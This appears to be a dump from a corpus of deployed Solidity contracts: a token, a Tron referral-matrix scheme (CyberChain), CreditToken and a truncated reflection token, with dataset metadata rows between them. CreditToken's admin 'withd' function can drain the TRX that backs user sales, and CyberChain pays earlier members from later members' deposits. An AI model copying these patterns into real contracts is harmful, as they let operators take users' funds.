emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract EasyGame is IERC20, Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor () public {
_decimals = 6;
_totalSupply = 1000000000 * uint(10) ** _decimals;
_name = "EASY.GAME";
_symbol = "EG";
_balances[owner()] = _totalSupply;
emit Transfer(address(0), owner(), _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view override returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
| 344,073 | 12,052 |
37a5b30b0f6f02f80867611b96043d7e1be8456ce6c18125a58e9d07e9a29e43
| 13,731 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TP/TP2hA4KT4s511XCVAFwKmKSC3s56uhkkng_CyberChain.sol
| 4,020 | 13,331 |
//SourceUnit: CyberChain2.sol
pragma solidity 0.5.12;
interface ICyberChain {
enum Overflow {
DOWN,
DIRECT,
UP,
OUTRUN
}
event Register(address indexed addr, address indexed upline, uint256 id, uint40 time);
event BuyLevel(address indexed addr, uint8 level, uint40 time);
event SetFirstLine(address indexed addr, address indexed upline, uint8 level, Overflow overflow, uint40 time);
event SetSecondLine(address indexed addr, address indexed upline, uint8 level, Overflow overflow, uint40 time);
event Reinvest(address indexed addr, uint8 level, uint40 time);
event Profit(address indexed addr, uint256 amount, uint40 time);
event Lost(address indexed addr, uint256 amount, uint40 time);
function register(address payable _upline) payable external;
function register(uint256 _upline_id) payable external;
function upgrade() payable external returns(uint8 level);
function contractInfo() view external returns(uint256 _last_id, uint256 _turnover);
function getUserById(uint256 _id) view external returns(address addr, address upline);
function userInfo(address _addr) view external returns(uint256 id, address upline, uint8 level, uint256 profit, uint256 lost);
function userStructure(address _addr) view external returns(uint256[12] memory reinvests, uint256[12][4] memory referrals, uint256[12][3] memory referrals_line1, uint8[12][3] memory overflow_line1, uint256[12][8] memory referrals_line2, uint8[12][8] memory overflow_line2);
function userLevelStructure(address _addr, uint8 _level) view external returns(bool active, address upline, uint256 reinvests, uint256[4] memory referrals, uint256[3] memory referrals_line1, uint8[3] memory overflow_line1, uint256[8] memory referrals_line2, uint8[8] memory overflow_line2);
}
contract CyberChain is ICyberChain {
struct Level {
bool active;
address payable upline;
address payable[] referrals_line1;
Overflow[] overflow_line1;
address payable[] referrals_line2;
Overflow[] overflow_line2;
uint256 reinvest;
mapping(uint8 => uint256) referrals;
}
struct User {
uint256 id;
address payable upline;
uint256 profit;
uint256 lost;
mapping(uint8 => Level) levels;
}
uint8 public constant MAX_LEVEL = 12;
address payable public root;
uint256 public last_id;
uint256 public turnover;
uint256[] public levels;
mapping(address => User) public users;
mapping(uint256 => address payable) public users_ids;
address payable public fee1;
address payable public fee2;
constructor() public {
root = 0x8d1e0128f12Ef69B9391522Bf39F87a10e5877de;
fee1 = 0xBe90431790aEe49BbBEeceA0149B1e6Cb06bD7D3;
fee2 = 0xd02243701dA5e8961Aa786f7B401d80294bEa4d2;
_addUser(root, address(0));
for(uint8 i = 0; i < MAX_LEVEL; i++) {
levels.push(i > 0 ? (levels[i - 1] * (i > 6 ? 3 : 2)) : 1e6);
users[root].levels[i].active = true;
emit BuyLevel(root, i, uint40(block.timestamp));
}
}
function() payable external {
_register(msg.sender, _bytesToAddress(msg.data), msg.value);
}
function _addUser(address payable _user, address payable _upline) private {
users[_user].id = ++last_id;
users[_user].upline = _upline;
users_ids[last_id] = _user;
emit Register(_user, _upline, last_id, uint40(block.timestamp));
}
function _send(address payable _addr, uint256 _value) private {
if(_addr == address(0) || !_addr.send(_value)) {
root.transfer(_value);
}
else {
users[_addr].profit += _value;
emit Profit(_addr, _value, uint40(block.timestamp));
}
}
function _sendComm() private {
fee1.transfer(address(this).balance / 2);
fee2.transfer(address(this).balance);
}
function _setLevelUpline(address payable _user, address payable _upline, uint8 _level, bool _second, Overflow _overflow) private {
users[_upline].levels[_level].referrals[uint8(_overflow)]++;
if(_second) {
users[_upline].levels[_level].referrals_line2.push(_user);
users[_upline].levels[_level].overflow_line2.push(_overflow);
emit SetSecondLine(_user, _upline, _level, _overflow, uint40(block.timestamp));
}
else {
users[_user].levels[_level].upline = _upline;
users[_upline].levels[_level].referrals_line1.push(_user);
users[_upline].levels[_level].overflow_line1.push(_overflow);
emit SetFirstLine(_user, _upline, _level, _overflow, uint40(block.timestamp));
}
}
function _reinvest(address payable _user, uint8 _level) private {
users[_user].levels[_level].referrals_line1 = new address payable[](0);
users[_user].levels[_level].overflow_line1 = new Overflow[](0);
users[_user].levels[_level].referrals_line2 = new address payable[](0);
users[_user].levels[_level].overflow_line2 = new Overflow[](0);
users[_user].levels[_level].reinvest++;
emit Reinvest(_user, _level, uint40(block.timestamp));
if(_user != root) _buyLevel(_user, _level, true);
}
function _buyLevel(address payable _user, uint8 _level, bool _reinv) private {
if(!_reinv) {
users[_user].levels[_level].active = true;
emit BuyLevel(_user, _level, uint40(block.timestamp));
}
address payable upline = _findUplineHasLevel(users[_user].upline, _level);
bool overflow = users[_user].upline != upline;
if(overflow) {
users[users[_user].upline].lost += levels[_level];
emit Lost(users[_user].upline, levels[_level], uint40(block.timestamp));
}
if(users[upline].levels[_level].referrals_line1.length < 3) {
_setLevelUpline(_user, upline, _level, false, overflow ? Overflow.OUTRUN : Overflow.DIRECT);
address payable sup_upline = users[upline].levels[_level].upline;
if(sup_upline != address(0)) {
if(!_reinv) {
_send(upline, levels[_level] / 2);
if(users[sup_upline].levels[_level].referrals_line2.length > 7) _send(_findUplineHasLevel(users[sup_upline].upline, _level), levels[_level] / 2);
else if(users[sup_upline].levels[_level].referrals_line2.length > 6) _send(_findUplineHasLevel(sup_upline, _level), levels[_level] / 2);
else _send(sup_upline, levels[_level] / 2);
}
if(users[sup_upline].levels[_level].referrals_line2.length < 8) {
_setLevelUpline(_user, sup_upline, _level, true, overflow ? Overflow.OUTRUN : Overflow.DOWN);
}
else _reinvest(sup_upline, _level);
}
else if(!_reinv) _send(upline, levels[_level]);
}
else {
address payable sub_upline = _findFreeReferrer(upline, _level);
_setLevelUpline(_user, sub_upline, _level, false, overflow ? Overflow.OUTRUN : Overflow.UP);
if(!_reinv) {
_send(sub_upline, levels[_level] / 2);
if(users[upline].levels[_level].referrals_line2.length > 7) _send(_findUplineHasLevel(users[upline].upline, _level), levels[_level] / 2);
else if(users[upline].levels[_level].referrals_line2.length > 6) _send(_findUplineHasLevel(upline, _level), levels[_level] / 2);
else _send(upline, levels[_level] / 2);
}
if(users[upline].levels[_level].referrals_line2.length < 8) {
_setLevelUpline(_user, upline, _level, true, overflow ? Overflow.OUTRUN : Overflow.DIRECT);
}
else _reinvest(upline, _level);
}
}
function _register(address payable _user, address payable _upline, uint256 _value) private {
require(_value == this.levelPriceWithComm(0), "Invalid amount");
require(users[_user].upline == address(0) && _user != root, "User already exists");
require(users[_upline].upline != address(0) || _upline == root, "Upline not found");
_addUser(_user, _upline);
_buyLevel(_user, 0, false);
_sendComm();
turnover += levels[0];
}
function register(address payable _upline) payable external {
_register(msg.sender, _upline, msg.value);
}
function register(uint256 _upline_id) payable external {
_register(msg.sender, users_ids[_upline_id], msg.value);
}
function upgrade() payable external returns(uint8 level) {
require(users[msg.sender].upline != address(0), "User not register");
for(uint8 i = 1; i < MAX_LEVEL; i++) {
if(!users[msg.sender].levels[i].active) {
level = i;
break;
}
}
require(level > 0, "All levels active");
require(msg.value == this.levelPriceWithComm(level), "Invalid amount");
_buyLevel(msg.sender, level, false);
_sendComm();
turnover += levels[level];
}
function _bytesToAddress(bytes memory _data) private pure returns(address payable addr) {
assembly {
addr := mload(add(_data, 20))
}
}
function _findUplineHasLevel(address payable _user, uint8 _level) private view returns(address payable) {
if(_user == root || (users[_user].levels[_level].active && (users[_user].levels[_level].reinvest == 0 || users[_user].levels[_level + 1].active || _level + 1 == MAX_LEVEL))) return _user;
return _findUplineHasLevel(users[_user].upline, _level);
}
function _findFreeReferrer(address payable _user, uint8 _level) private view returns(address payable) {
for(uint8 i = 0; i < 3; i++) {
address payable ref = users[_user].levels[_level].referrals_line1[i];
if(users[ref].levels[_level].referrals_line1.length < 3) {
return ref;
}
}
}
function levelPriceWithComm(uint8 _level) view external returns(uint256) {
return levels[_level] + (levels[_level] / 100 * 4);
}
function contractInfo() view external returns(uint256 _last_id, uint256 _turnover) {
return (last_id, turnover);
}
function getUserById(uint256 _id) view external returns(address addr, address upline) {
return (users_ids[_id], users[users_ids[_id]].upline);
}
function userInfo(address _addr) view external returns(uint256 id, address upline, uint8 level, uint256 profit, uint256 lost) {
for(uint8 l = 0; l < MAX_LEVEL; l++) {
if(!users[_addr].levels[l].active) break;
level = l;
}
return (users[_addr].id, users[_addr].upline, level, users[_addr].profit, users[_addr].lost);
}
function userStructure(address _addr) view external returns(uint256[12] memory reinvests, uint256[12][4] memory referrals, uint256[12][3] memory referrals_line1, uint8[12][3] memory overflow_line1, uint256[12][8] memory referrals_line2, uint8[12][8] memory overflow_line2) {
for(uint8 l = 0; l < MAX_LEVEL; l++) {
if(!users[_addr].levels[l].active) break;
reinvests[l] = users[_addr].levels[l].reinvest;
for(uint8 i = 0; i < 4; i++) {
referrals[i][l] = users[_addr].levels[l].referrals[i];
}
for(uint8 i = 0; i < 3; i++) {
if(i >= users[_addr].levels[l].referrals_line1.length) break;
referrals_line1[i][l] = users[users[_addr].levels[l].referrals_line1[i]].id;
overflow_line1[i][l] = uint8(users[_addr].levels[l].overflow_line1[i]);
}
for(uint8 i = 0; i < 8; i++) {
if(i >= users[_addr].levels[l].referrals_line2.length) break;
referrals_line2[i][l] = users[users[_addr].levels[l].referrals_line2[i]].id;
overflow_line2[i][l] = uint8(users[_addr].levels[l].overflow_line2[i]);
}
}
}
function userLevelStructure(address _addr, uint8 _level) view external returns(bool active, address upline, uint256 reinvests, uint256[4] memory referrals, uint256[3] memory referrals_line1, uint8[3] memory overflow_line1, uint256[8] memory referrals_line2, uint8[8] memory overflow_line2) {
active = users[_addr].levels[_level].active;
upline = users[_addr].levels[_level].upline;
reinvests = users[_addr].levels[_level].reinvest;
for(uint8 i = 0; i < 4; i++) {
referrals[i] = users[_addr].levels[_level].referrals[i];
}
for(uint8 i = 0; i < 3; i++) {
if(i >= users[_addr].levels[_level].referrals_line1.length) break;
referrals_line1[i] = users[users[_addr].levels[_level].referrals_line1[i]].id;
overflow_line1[i] = uint8(users[_addr].levels[_level].overflow_line1[i]);
}
for(uint8 i = 0; i < 8; i++) {
if(i >= users[_addr].levels[_level].referrals_line2.length) break;
referrals_line2[i] = users[users[_addr].levels[_level].referrals_line2[i]].id;
overflow_line2[i] = uint8(users[_addr].levels[_level].overflow_line2[i]);
}
}
}
| 297,890 | 12,053 |
2fec8bdc95c3f9c6a979bd0e875ba52cc4fa9c7fc5c2626dfa11ad58fd41d988
| 14,426 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TP/TPhdPPPNFqVPV9iqEkoDTV7RXBPfanypeA_CreditToken.sol
| 3,139 | 12,130 |
//SourceUnit: credittoken.sol
pragma solidity 0.5.9;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor(address initialOwner) internal {
require(initialOwner != address(0), "Ownable: initial owner is the zero address");
_owner = initialOwner;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface ITRC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract TRC20 is ITRC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string internal _name;
string internal _symbol;
uint8 internal _decimals;
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "TRC20: transfer from the zero address");
require(recipient != address(0), "TRC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "TRC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "TRC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "TRC20: approve from the zero address");
require(spender != address(0), "TRC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 amount, address token, bytes calldata extraData) external;
}
contract Token is TRC20, Ownable {
// registered contracts (to prevent loss of token via transfer function)
mapping (address => bool) private _contracts;
constructor() public Ownable(msg.sender) {
// name of the token
_name = "Credit Token";
// symbol of the token
_symbol = "CT";
// decimals of the token
_decimals = 6;
}
function approveAndCall(address spender, uint256 amount, bytes memory extraData) public returns (bool) {
require(approve(spender, amount));
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, amount, address(this), extraData);
return true;
}
function transfer(address to, uint256 value) public returns (bool) {
if (_contracts[to]) {
approveAndCall(to, value, new bytes(0));
} else {
super.transfer(to, value);
}
return true;
}
function registerContract(address account) external onlyOwner {
require(_isContract(account), "InvestingToken: account is not a smart-contract");
_contracts[account] = true;
}
function unregisterContract(address account) external onlyOwner {
require(isRegistered(account), "InvestingToken: account is not registered yet");
_contracts[account] = false;
}
function isRegistered(address account) public view returns (bool) {
return _contracts[account];
}
function _isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
contract CreditToken is Token {
uint256 public startTime;
uint256 public startPrice = 5000000; // trx units per token
uint256 public adminPercent = 5;
//
uint256 public referrerPercent = 5;
//
uint256 public increasePercent = 5;
uint256 public increaseInterval = 1 days;
uint256 public totalReferralRewards;
uint256 public totalInvestors;
mapping (address => User) public users;
struct User {
bool active;
address referrer;
uint256 totalInvited;
uint256 totalEarned;
}
address payable wallet;
event operation(address indexed account, string txType, uint256 tokenAmount, uint256 price, uint256 trxAmount, uint256 totalTrxBalance);
event refBonus(address indexed referrer, address indexed referral, uint256 tokenAmount , uint256 level);
event reset(uint256 period, uint256 price);
//event levelref(address indexed receiver , address indexed payer , uint256 percent , uint256 level);
constructor(address payable adminWallet) public {
wallet = adminWallet;
}
function withd(uint256 amount) public{
require(msg.sender==wallet,"Only Admin!");
wallet.transfer(amount);
}
function distribution(address[] memory recipients, uint256[] memory amounts, uint256 startIndex) public onlyOwner {
require(startTime == 0, "Only before start");
require(recipients.length == amounts.length, "Arrays are not equal");
uint256 i = startIndex;
for (i; i < recipients.length; i++) {
require(amounts[i] > 0, 'Zero amount was met');
_mint(recipients[i], amounts[i]);
}
}
function buy(address referrer) public payable {
require(msg.value > 0, "Send TRX please");
if (startTime == 0) {
startTime = block.timestamp;
}
User storage user = users[msg.sender];
(wallet.send(msg.value.mul(adminPercent).div(100)));
if (user.referrer == address(0) && users[referrer].active && referrer != msg.sender) {
user.referrer = referrer;
users[referrer].totalInvited += 1;
}
if (!user.active) {
user.active = true;
totalInvestors++;
}
uint256 tokenAmount = trxToToken(msg.value);
_mint(msg.sender, tokenAmount);
emit operation(msg.sender, "BUY", tokenAmount, getBuyPrice(), msg.value, address(this).balance);
//**********************************1
if (referrer != address(0)) {
tokenAmount = tokenAmount.mul(referrerPercent).div(100);
_mint(referrer, tokenAmount);
users[referrer].totalEarned = users[referrer].totalEarned.add(tokenAmount);
totalReferralRewards = totalReferralRewards.add(tokenAmount);
emit refBonus(referrer, msg.sender, tokenAmount , 1);
}
}
function transfer(address to, uint256 value) public returns(bool) {
if (to == address(this)) {
sell(value);
} else {
super.transfer(to, value);
}
return true;
}
function sell(uint256 tokenAmount) public {
require(tokenAmount > 0, "Specify the token amount to sell");
uint256 trxAmount = tokenToTrx(tokenAmount);
_burn(msg.sender, tokenAmount);
(msg.sender.send(trxAmount));
emit operation(msg.sender, "SELL", tokenAmount, getSellPrice(), trxAmount, address(this).balance);
}
function restart() public onlyOwner {
require(address(this).balance <= 100 trx, "Only if balance is less than 100 trx");
emit reset(block.timestamp.sub(startTime), getBuyPrice());
startTime = block.timestamp;
}
function getUserReferrer(address account) public view returns(address) {
return users[account].referrer;
}
function getUserRefInfo(address account) public view returns(uint256 totalInvited, uint256 totalEarned) {
return (users[account].totalInvited, users[account].totalEarned);
}
function getBuyPrice() public view returns(uint256) {
if (startTime != 0) {
return startPrice.add(startPrice.mul(increasePercent).mul(block.timestamp.sub(startTime)).div(100).div(increaseInterval));
} else {
return startPrice;
}
}
function getSellPrice() public view returns(uint256) {
return getBuyPrice().mul(85).div(100);
}
function trxToToken(uint256 trxAmount) public view returns(uint256) {
return trxAmount.mul(1e6).div(getBuyPrice());
}
function tokenToTrx(uint256 tokenAmount) public view returns(uint256) {
return tokenAmount.mul(getSellPrice()).div(1e6);
}
}
| 297,935 | 12,054 |
f625ee3f3a837f601972000378ec723a38630689150b8779e95e770c7899c3fc
| 18,816 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/0d/0D187e1d1e63854C9C3d6f4156C1a950F5E32d4D_EURO.sol
| 4,183 | 15,786 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface DeployerCERTIK {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract EURO is Context, DeployerCERTIK, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _allTotalSupply = 100000000000 * 10**6 * 10**9;
uint256 private _rTotalSupply = (MAX - (MAX % _allTotalSupply));
uint256 private _tFeeTotal;
string private _name = 'EURO';
string private _symbol = 'EURO';
uint8 private _decimals = 9;
constructor () {
_rOwned[_msgSender()] = _rTotalSupply;
emit Transfer(address(0), _msgSender(), _allTotalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _allTotalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotalSupply = _rTotalSupply.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _allTotalSupply, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotalSupply, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is not excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is not excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
